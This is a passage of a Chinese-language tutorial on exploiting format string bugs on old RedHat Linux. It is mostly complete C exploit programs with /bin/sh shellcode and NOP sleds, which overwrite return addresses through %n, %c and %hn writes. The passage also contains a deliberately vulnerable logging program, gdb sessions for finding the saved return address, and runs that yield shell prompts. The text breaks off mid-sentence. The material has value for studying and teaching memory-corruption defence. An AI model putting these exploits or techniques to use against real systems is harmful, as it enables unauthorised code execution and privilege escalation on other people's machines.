測試平臺:RedHat 6.1, RedHat 6.2 (Intel i386)
(繼續)
那么讓我們來寫一個簡單的測試程序來看一下:
<- begin ->? exp.c
#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_OFFSET??????????????????? 0???????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???? // 我們使用兩個字節來進行"對齊"
#define DEFAULT_RETLOC?????????? 0xbffff6dc???? // 存放main()返回地址的地址??????????????
#define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
#define DEFAULT_EGG_SIZE?????????????? 2048???????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
? "\x80\xe8\xdc\xff\xff\xff/bin/sh";
??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff, *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long shell_addr,retloc=DEFAULT_RETLOC;??????????????????????????????????????????????????
? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
? int fmt_num=4, i;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址??????????????????????????????????????????????????????????????????????????????????????
? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????
?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
? if (!(buff = malloc(bsize))) {??????????????????????????????
??? printf("Can't allocate memory.\n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory.\n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
?
? printf("Using Ret location address: 0x%x\n", retloc);???????????????????????????????????????????????????????????????????
? shell_addr = get_esp() + offset;??? //計算我們shellcode所處的地址??????????????????????????????
? printf("Using Shellcode address: 0x%x\n", shell_addr);
?
? ptr = buff;?????????????????????????????????????????????????
? memset(buff,'A',4);
? i = align;
? buff[i]?? =? retloc & 0x000000ff;?? // 將retloc放到buff里???????????????????
? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
?
? ptr = buff + i + 4;
? for(i = 0 ; i < 4 ; i++ )? //存放%.10u%.10u%.10u%.10u
??? {
??????? memcpy(ptr, "%.10u", 5);
??????? ptr += 5;
??? }
/* 存放"%.SHELL_ADDRu%n",為了使顯示總長度等于shell_addr,
? * 我們減去4個%.10u的長度:4*10,再減去"argv[1] = xxRETloc"的長度:12+4
? * 將這個長度作為第5個%u的寬度值???
? */?
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? buff[bsize - 1] = '\0';?????????????????????????????????????
? egg[eggsize - 1] = '\0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;
? execle("./vul","vul",buff,NULL,env);?????????
}? /* end of main */??????
<- end ->?
注意:在我們的程序里,我們實際使用的模式是:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
選用%.10u的原因是:如果用"%.nu"來顯示一個數值的時候,若數值長度大于n,則仍然會
顯示實際的長度,而不會截斷為n。只有在數值長度小于n時,才會在數值前面補'0'使顯
示長度達到n.而一個四字節的無符號整數,最大為0xffffffff = 4294967295,其長度也
就是10,因此,使用%.10u將保證顯示長度的精確(肯定為10).現在唯一要確定的就是
RETloc,也就是main()的返回地址了。這也很簡單:
[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
??? ap=0xbffff2e8) at vfprintf.c:1212
1212??? vfprintf.c: No such file or directory.
(gdb) bt?
#0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
??? ap=0xbffff2e8) at vfprintf.c:1212
#1? 0x40070716 in _IO_vsnprintf (
??? string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
??? args=0xbffff2d0) at vsnprintf.c:129
#2? 0x80484de in log (level=1,
??? fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
??? at vul.c:13
#3? 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3? -----> 查看main()的棧幀
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
? ebp at 0xbffff6d8, eip at 0xbffff6dc? ----> OK,存放eip的地址是0xbffff6dc
(gdb)
好的,既然現在我們已經知道了RETloc的地址,就讓我們運行一下我們的攻擊程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08
argv[1] = AA薈?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0? 0x42 in ?? ()
(gdb) bt
#0? 0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc:???? 0x00000042
(gdb)
很可惜,并沒有看到令人激動的#號提示符。看起來0xbffffb08的長度不能被正確的打印出來,
根據測試,至少大于0x90000000的長度都不能正確顯示,具體原因還有待研究。感興趣的讀者
可以自行分析一下。為了得到一個可以工作的版本,我們改動一下vul.c和exp.c:
<- begin ->? vul1.c
#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>
#define BUFSIZE 1024
char egg[BUFSIZE];
int log(int level, char *fmt,...)
{
?? char buf[BUFSIZE];
?? va_list ap;
?
?? va_start(ap, fmt);
?? vsnprintf(buf, sizeof(buf)-1, fmt, ap);
?? buf[BUFSIZE-1] = '\0';
?? syslog(level, "[hmm]: %s", buf);
?? va_end(ap);
}
int main(int argc, char **argv)
{
? char buf[BUFSIZE];
? int i,num;
?
? if(getenv("EGG")) {
???? /* 我們將環境EGG的內容復制到一個全局buffer里,
????? * 而這個buffer的起始地址是0x80xxxxx,它可以被正確顯示
????? */
???? strncpy(egg, getenv("EGG"), BUFSIZE-1);
???? egg[BUFSIZE-1] = '\0';
? }
? num = argc ;
? if(argc > 1) {
??? for ( i = 1 ; i < num ; i ++ ) {
??????????? snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
??????????? buf[BUFSIZE-1] = '\0';
??????????? log(LOG_ALERT, buf);? // 這里有問題
??????????? printf("argv[%d] = %s \n", i, argv[i]);
??? }
? }
}
<- end ->?
<- begin ->? exp1.c
#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???????????????????
#define DEFAULT_RETLOC?????????? 0xbffffadc??????????????????
#define DEFAULT_SHELLADDR??????? 0x8049800?? //我們的shellcode地址在Heap/BSS段????????????????
#define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
#define DEFAULT_EGG_SIZE?????????????? 1024??????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
? "\x80\xe8\xdc\xff\xff\xff/bin/sh";
??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff, *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long retloc = DEFAULT_RETLOC;
? long shell_addr = DEFAULT_SHELLADDR;
? int align = DEFAULT_ALIGNMENT;???????
? int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;????????????????????????????
? int i;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc);
? if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????
?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
? if (!(buff = malloc(bsize))) {??????????????????????????????
??? printf("Can't allocate memory.\n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory.\n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
? printf("Using RET location address: %#x\n", retloc);
? printf("Using Shellcode address: %#x\n", shell_addr);??????????????????????
??????????????????????????????????????????????????????????????
? ptr = buff;?????????????????????????????????????????????????
? memset(buff,'A',4);
? i = align;
? buff[i]?? =? retloc & 0x000000ff;??????????????????????
? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
?
? ptr = buff + i + 4;
? for(i = 0 ; i < 4 ; i++ )
??? {
??????? memcpy(ptr, "%.10u", 5);
??????? ptr += 5;
??? }
?
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? buff[bsize - 1] = '\0';?????????????????????????????????????
? egg[eggsize - 1] = '\0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;
? execle("./vul1","vul1",buff,NULL,env);?????????
}? /* end of main */??????
<- end ->?
這里唯一改變的就是shellcode的地址指向了Heap/BSS區,它通常在內存區域的低端:
0x8000000以后的地址,這個地址將可以被正確顯示,因此就可以正確的覆蓋main()的
返回地址,并跳到那里去執行我們的shellcode.這個地址的獲取,也可以通過gdb跟蹤
得到,這里不再贅述。
[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800
argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好,成功了!注意在得到#號提示符前,通常需要等待幾秒鐘,這是因為顯示0x8049800
個字符也是頗需要一段時間的.(當然,結果并沒有顯示在標準輸出上) :-)
<2> 攻擊方法二:多次覆蓋返回地址(1)
====================================
上面的程序只能在RedHat 6.2這樣的系統上成功,在RedHat 6.1下它是不能成功的。原因
前面已經提到了。那么是不是在RedHat 6.1下就沒有辦法了呢?并不是這樣的,只要我們動
一下腦筋,就會發現由于這個問題程序自身的特點頤竊赗edHat 6.1下也可以成功的進行
攻擊。我們看到問題程序vul.c會顯示并記錄所有用戶輸入的參數,而制約我們的攻擊程序的
因素就是顯示的長度,那么如果我們不顯示那么さ哪諶藎瑅snprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我們首先想到的時候如何減小shell_addr的值。如果我們將一個shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4
例如,假設在RETloc這個地址中保存有返回地址0x44332211,我們想將這個0x44332211換成
存放shellcode的地址:0xbffffcec,那么我們所對應的SH1,SH2,SH3,SH4就分別是:
SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec
我們所要做的就是依次將這四個地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:
AA|RETloc? |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n
注意:我們考慮的是Intel x86的系統,因此,排列順序是反序的
下圖可以讓你更清楚的看到每一次覆蓋后的變化:
RETloc? RETloc+1 RETloc+2 RETloc+3
|0x11?? | 0x22?? | 0x33?? |0x44|?????????????????? 原來存放的地址: 0x44332211
|0xec?? | 0x00?? | 0x00?? |0x00|?????????????????? 第一次覆蓋SH4:? 0x000000ec
|0xec?? | 0xfc?? | 0x00?? |0x00| 0x00|???????????? 第二次覆蓋SH3:? 0x0000fcec
|0xec?? | 0xfc?? | 0xff?? |0x00| 0x00| 0x00|?????? 第三次覆蓋SH2:? 0x00fffcec
|0xec?? | 0xfc?? | 0xff?? |0xbf| 0x00| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec
需要特別注意的是:這樣四次覆蓋之后,將導致原來存放函數參數的地址內容被清零,
例如RETloc+4,RETloc+5,RETloc+6等處,如果該函數在覆蓋以后仍然需要訪問這幾個參
數,可能會導致函數不能正常退出,特別是一些極端依賴函數參數的情況下。
另外一個問題是程序是否允許你連續四次進行覆蓋,如果只能覆蓋一次,也不能達到我們
的目的,不過我們看到我們的問題程序是會循環從main()的參數中讀取并調用log()子函數
,那么我們只要提供四個命令行參數就可以進行四次覆蓋了。
<- begin ->? exp2.c
#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_OFFSET??????????????????? 500???????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???????????????????
#define DEFAULT_RETLOC?????????? 0xbffffa6c???????????????????
#define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
#define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
? "\x80\xe8\xdc\xff\xff\xff/bin/sh";
??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff[4], *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;??????????????????????????????????????????????????
? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
? int i,j;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????
?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
? for(i = 0 ; i < 4 ; i++ ) {
??? if (!(buff[i] = malloc(bsize))) {??????????????????????????????
?????? printf("Can't allocate memory.\n");???????????????????????
?????? exit(0);??????????????????????????????????????????????????
??? }
? }???????????????????????????????????????????????????????????
? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory.\n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
? printf("Using RET location address: 0x%x\n", retloc);
? shell_addr = get_esp() + offset;?????? /* 計算shellcocde所在的地址 */?????????????????????????????????????????????????
? printf("Using Shellcode address: 0x%x\n", shell_addr);
? for(j = 0; j < 4 ; j++) {????????????????????????????????????????????????????????????
???? ptr = buff[j];?????????????????????????????????????????????????
???? memset(ptr,'A',4);
???? ptr += align;
???? (*ptr++) =? retloc & 0x000000ff;??????? /* 填充retloc */??????????????
???? (*ptr++) = (retloc & 0x0000ff00) >> 8;????????????????
???? (*ptr++) = (retloc & 0x00ff0000) >> 16;???????????????
???? (*ptr++) = (retloc & 0xff000000) >> 24;?????????????????
?
???? retloc++; /* retloc地址后移一個字節,以便進行下一次覆蓋 */
???? for(i = 0 ; i < 4 ; i++ )
???? {
??????? memcpy(ptr, "%.10u", 5); /* 輸入格式串,調整%n所對應的位置 */
??????? ptr += 5;
???? }
???? tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 計算SHj */
???? if(tmpaddr > 56 )? /* 計算最后一個%nu中的n值 */
?????? sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
???? else
?????? sprintf(ptr, "%%.%uu%%n", 1);
?
? }
? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? egg[eggsize - 1] = '\0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;
? execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);?????????
}? /* end of main */??????
<- end ->?
[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec
argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#
注意我們上面的exp2.c中在計算最后一個%.nu時存在一些問題,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所顯示的長度可能不等于(tmpaddr-56)
,同樣如果tmpaddr <= 56 ,那么我們的shellcode的地址就會有偏差,幸運的是,由于我們
的shellcode是存放在環境變量中,它通常在堆棧的高端,地址通常是0xbffff???,只有地址
的最低一個字節才可能出現上面所講的兩種情況,而如果我們的shellcode前面填充了一些
NOP指令的話,那么我們的shellcode地址就有一個范圍,只要落在這個范圍內,都可以執行
我們的shellcode,因此只要我們在這一段地址內選擇一個有效的地址就可以了。
這個程序在RedHat 6.1和RedHat 6.2下都驗證通過。
<3> 攻擊方法三:多次覆蓋返回地址(2)
======================================
有讀者可能會說,這個程序的成功依賴于我們可以連續進行四次覆蓋。如果只給我們一次
機會,是不是就不行了呢?其實,還有一種方法可以完成我們的任務。基本思路也是分四次
來覆蓋,只不過通過一個*printf()就可以完成了,考慮下列這種情況:
? |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
???? ^??????? ^??????? ^??????? ^???????????????? |????? |????? |????? |
???? |??????? |??????? |??????? |_________________|______|______|______|?????????????????????????????????????
???? |??????? |??????? |__________________________|______|______|????????????????????????????????????????????????????
???? |??????? |___________________________________|______|?
???? |____________________________________________|
我們使用四個%n,它們會依次將4個顯示長度保存到對應的地址去。我們如果調整%c的個數,
使第一個%n對應RET1,第二個%n對應RET2,第三個%n對應RET3,第四個%n對應RET4,那么我
們就成功了一半了。當然我們要讓:
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3
n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4是4個%c顯示的長度,12是"AA"再加上前面的"argv[.."的長度,4是RET1長度,8*3是后
面三組"AAAARET"的長度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2?
這樣,在碰到第一個%n時,顯示總長度就是SH4,碰到第二個%n時,顯示總長度就是 SH3,依
此類推。
注意:由于SH1通常等于0xbf(如果是在堆棧中的話),而SH2通常等于0xff,SH1<SH2,
因此我們給SH1加上一個大數0x0100,讓它變成0x01BF,這樣在進行第四次覆蓋的時候:
會將RETloc+4變成0x01,但這通常并不會造成大的影響,RETloc+3仍然被正確的改成了0xbf
RETloc? RETloc+1 RETloc+2 RETloc+3???????????????????????????????
|0xec?? | 0xfc?? | 0xff?? |0xbf| 0x01| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec???????????????????????????????
因此,我們讓n4 = 0x0100 + SH1 - SH2
另外我們的程序中沒有使用%.nu的格式而是采用了%nc, 這是因為%nc可以更加準確的決定
我們的顯示長度,只要n>0,顯示長度總是精確的等于n,這就為我們的計算帶來了很大的方
便。(注意不能使用%.nc的格式,這不起作用) 不過%nc會使用空格來填充空白部分,如果
應用程序將空格作為分隔符來解釋時,可能會出問題。
<- begin ->? exp3.c
#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_OFFSET??????????????????? 550???????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???????????????????
#define DEFAULT_RETLOC?????????? 0xbffffabc???????????????????
#define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
#define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
? "\x80\xe8\xdc\xff\xff\xff/bin/sh";
??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff, *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;??????????????????????????????????????????????????
? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
? int i,SH1,SH2,SH3,SH4,oldSH4;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????
?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
?
? if (!(buff = malloc(bsize))) {??????????????????????????????
?????? printf("Can't allocate memory.\n");???????????????????????
?????? exit(0);??????????????????????????????????????????????????
??? }
????????????????????????????????????????????????
? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory.\n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
? printf("Using RET location address: 0x%x\n", retloc);
? shell_addr = get_esp() + offset;?????? /* 計算shellcocde所在的地址 */?????????????????????????????????????????????????
? printf("Using Shellcode address: 0x%x\n", shell_addr);
?
? SH1 = (shell_addr >> 24) & 0xff;
? SH2 = (shell_addr >> 16) & 0xff;
? SH3 = (shell_addr >>? 8) & 0xff;
? SH4 = (shell_addr >>? 0) & 0xff;
? /* 如果SH4小于44,我們就增大它的值,讓它等于44 + 1,以免出現負值 */
? if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
????? oldSH4 = SH4;
????? SH4 = 4 + 12 + 4 + 8*3 + 1;
????? printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
? }
?
???? ptr = buff;?????????????????????????????????????????????????
?
???? for (i = 0; i <4 ; i++, retloc++ ){
?????? memset(ptr,'A',4);
?????? ptr += 4 ;
?????? (*ptr++) =? retloc & 0xff;??????? /* 填充retloc+n (n= 0,1,2,3) */?????????
?????? (*ptr++) = (retloc >> 8? ) & 0xff ;????????????????
?????? (*ptr++) = (retloc >> 16 ) & 0xff ;????????????????
?????? (*ptr++) = (retloc >> 24 ) & 0xff ;????????????????
????? }
?????????
???? for(i = 0 ; i < 4 ; i++ )
???? {
??????? memcpy(ptr, "%c", 2); /* 輸入格式串,調整%n所對應的位置 */
??????? ptr += 2;
???? }
???? /* "輸入"我們的shellcode地址 */
???? sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
????????????? (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
?
? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? egg[eggsize - 1] = '\0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;
? execle("./vul","vul",buff + align, NULL,env);?????????
}? /* end of main */????
<- end ->?
驗證一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA賤緼AAA晉緼AAA菌緼AAA窺?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
這個程序在redhat 6.1和redhat 6.2下均驗證通過
<4> 攻擊方法三:多次覆蓋返回地址(利用%hn)
=========================================
在drow的statd-toy.c中又提供了一種方法:利用%hn,它會覆蓋一個字的高16位:
main()
{
int a=0x41414141;
printf("a=%#x%hn\n",a,&a);
printf("a=%#x\n",a);
}
[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c
<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141
Breakpoint 1, main () at aa.c:5
5??????? printf("a=%#x\n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4:???? 0x0c??? 0x00??? 0x41??? 0x41
因此我們只要覆蓋兩次就可以了,具體的方法和前面相似,有興趣的讀者可以自行測試一下。
這種方法的好處是我們不會覆蓋多余的地址,它只覆蓋指定地址的兩個字節內容!
綜合上面的幾種方法,我們會看到第三和第四種方法是最通用的,可以適用于各種情況。第
一種和第二種都有其自己的局限性,更多的依賴于應用程序自身的特點。
不過這幾種方法都由一個局限,就是必須非常精確的給定存放返回地址的地址:retloc,錯一
